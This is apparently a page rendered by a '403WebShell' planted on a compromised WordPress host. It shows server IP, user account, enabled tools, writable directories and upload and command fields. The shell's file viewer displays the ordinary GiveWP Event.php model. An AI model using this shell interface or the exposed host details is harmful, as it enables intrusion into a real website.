Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.137.170.38
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/EventTickets/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/EventTickets/Models/Event.php
<?php

namespace Give\EventTickets\Models;

use DateTime;
use Give\DonationForms\Models\DonationForm;
use Give\EventTickets\Factories\EventFactory;
use Give\EventTickets\Repositories\EventRepository;
use Give\EventTickets\Repositories\EventTicketRepository;
use Give\EventTickets\Repositories\EventTicketTypeRepository;
use Give\Framework\Exceptions\Primitives\Exception;
use Give\Framework\Exceptions\Primitives\InvalidArgumentException;
use Give\Framework\Models\Contracts\ModelCrud;
use Give\Framework\Models\Model;
use Give\Framework\Models\ModelQueryBuilder;
use Give\Framework\Models\ValueObjects\Relationship;
use Give\Framework\Support\Facades\DateTime\Temporal;

/**
 * @since 3.6.0
 */
class Event extends Model implements ModelCrud /*, ModelHasFactory */
{
    /**
     * @inheritdoc
     */
    protected $properties = [
        'id' => 'int',
        'title' => 'string',
        'description' => 'string',
        'startDateTime' => DateTime::class,
        'endDateTime' => DateTime::class,
        'ticketCloseDateTime' => DateTime::class,
        'createdAt' => DateTime::class,
        'updatedAt' => DateTime::class,
    ];

    /**
     * @inheritdoc
     */
    protected $relationships = [
        'tickets' => Relationship::HAS_MANY,
        'ticketTypes' => Relationship::HAS_MANY,
        'forms' => Relationship::BELONGS_TO_MANY,
    ];

    /**
     * @since 3.6.0
     *
     * @return Event|null
     */
    public static function find($id)
    {
        return give(EventRepository::class)->getById($id);
    }


    /**
     * @since 3.6.0
     *
     * @return $this
     * @throws Exception|InvalidArgumentException
     */
    public static function create(array $attributes): Event
    {
        $event = new static($attributes);

        give(EventRepository::class)->insert($event);

        return $event;
    }

    /**
     * @since 3.6.0
     *
     * @return void
     * @throws Exception|InvalidArgumentException
     */
    public function save()
    {
        if (!$this->id) {
            give(EventRepository::class)->insert($this);
        } else{
            give(EventRepository::class)->update($this);
        }
    }

    /**
     * @since 3.6.0
     *
     * @throws Exception|InvalidArgumentException
     */
    public function delete(): bool
    {
        return give(EventRepository::class)->delete($this);
    }

    /**
     * @since 3.6.0
     *
     * @return ModelQueryBuilder<Event>
     */
    public static function query(): ModelQueryBuilder
    {
        return give(EventRepository::class)->prepareQuery();
    }

    /**
     * @since 3.6.0
     *
     * @return ModelQueryBuilder<EventTicketType>
     */
    public function ticketTypes(): ModelQueryBuilder
    {
        return give(EventTicketTypeRepository::class)->queryByEventId($this->id);
    }

    /**
     * @since 3.6.0
     *
     * @return ModelQueryBuilder<EventTicket>
     */
    public function eventTickets(): ModelQueryBuilder
    {
        return give(EventTicketRepository::class)->queryByEventId($this->id);
    }

    public function forms(): ModelQueryBuilder
    {
        $eventIdPattern = sprintf('"eventId":%s', $this->id);

        return DonationForm::query()
            ->whereLike('give_formmeta_attach_meta_fields.meta_value', '%"name":"givewp/event-tickets"%')
            ->where(function($query) use ($eventIdPattern) {
                $query->whereLike('give_formmeta_attach_meta_fields.meta_value', "%$eventIdPattern}%") // When the eventId is the only block attribute.
                ->orWhereLike('give_formmeta_attach_meta_fields.meta_value', "%$eventIdPattern,%"); // When the eventId is the NOT only block attribute.
            });
    }

    /**
     * @since 3.6.0
     *
     * @param object $object
     */
    public static function fromQueryBuilderObject($object): Event
    {
        return new Event([
            'id' => (int)$object->id,
            'title' => (string)$object->title,
            'description' => (string)$object->description,
            'startDateTime' => $object->start_datetime ? Temporal::toDateTime($object->start_datetime) : null,
            'endDateTime' => $object->end_datetime ? Temporal::toDateTime($object->end_datetime) : null,
            'ticketCloseDateTime' => $object->ticket_close_datetime ? Temporal::toDateTime(
                $object->ticket_close_datetime
            ) : null,
            'createdAt' => Temporal::toDateTime($object->created_at),
            'updatedAt' => Temporal::toDateTime($object->updated_at),
        ]);
    }

    /**
     * @since 3.6.0
     */
    public static function factory(): EventFactory
    {
        return new EventFactory(static::class);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit